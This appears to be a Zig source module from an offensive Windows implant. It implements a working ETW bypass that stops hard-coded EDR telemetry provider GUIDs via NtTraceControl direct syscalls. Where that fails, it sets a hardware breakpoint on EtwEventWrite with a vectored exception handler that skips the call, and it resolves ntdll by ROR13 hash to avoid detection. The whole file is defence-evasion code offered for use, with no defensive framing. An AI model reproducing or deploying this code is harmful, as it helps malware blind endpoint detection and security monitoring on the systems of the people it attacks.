// ETW bypass, hardware breakpoint on EtwEventWrite via VEH. No memory touched.
// NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI
// provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");

var g_etw_patched: bool = false;
var g_etw_hwbp_veh: ?*anyopaque = null;
var g_etw_event_write_addr: ?*anyopaque = null;

fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
    if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
        ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
    {
        const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
        ex.ContextRecord.Rip = ret_addr;
        ex.ContextRecord.Rsp += 8;
        return win.EXCEPTION_CONTINUE_EXECUTION;
    }
    return win.EXCEPTION_CONTINUE_SEARCH;
}

fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
    const get_addr = api.etw_get_proc_address orelse return false;
    var etw_write = get_addr(ntdll, "EtwEventWrite");
    if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
    if (etw_write == null) return false;

    g_etw_event_write_addr = etw_write;

    const veh = api.hwbp_add_veh orelse return false;
    const cur_thread = api.hwbp_get_thread orelse return false;
    const set_ctx = api.hwbp_set_thread_ctx orelse return false;

    g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
    if (g_etw_hwbp_veh == null) return false;

    const thread = cur_thread();
    var ctx = std.mem.zeroes(win.CONTEXT);
    ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
    ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
    ctx.Dr7 = (1 << 0);
    _ = set_ctx(thread, &ctx);
    return true;
}

const edr_provider_guids = [_][16]u8{
    .{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
    .{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
    .{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
};

pub fn patch_etw() void {
    if (g_etw_patched) return;
    api.ensure();
    _ = syscall.init_syscall();

    var stopped_any = false;
    for (&edr_provider_guids) |*guid| {
        var ret_len: win.ULONG = 0;
        const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
        if (win.NT_SUCCESS(st)) {
            stopped_any = true;
        }
    }

    if (stopped_any) {
        g_etw_patched = true;
        return;
    }

    const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
    if (try_hwbp_etw_bypass(ntdll)) {
        g_etw_patched = true;
    }
}

pub fn unpatch_etw() void {
    if (!g_etw_patched) return;
    defer g_etw_patched = false;

    if (g_etw_hwbp_veh) |h| {
        if (api.amsi_remove_vectored_exception_handler) |remove| {
            _ = remove(h);
        }
        g_etw_hwbp_veh = null;

        const cur_thread = api.hwbp_get_thread orelse return;
        const set_ctx = api.hwbp_set_thread_ctx orelse return;
        const thread = cur_thread();
        var ctx = std.mem.zeroes(win.CONTEXT);
        ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
        ctx.Dr0 = 0;
        ctx.Dr7 = 0;
        _ = set_ctx(thread, &ctx);
    }
}
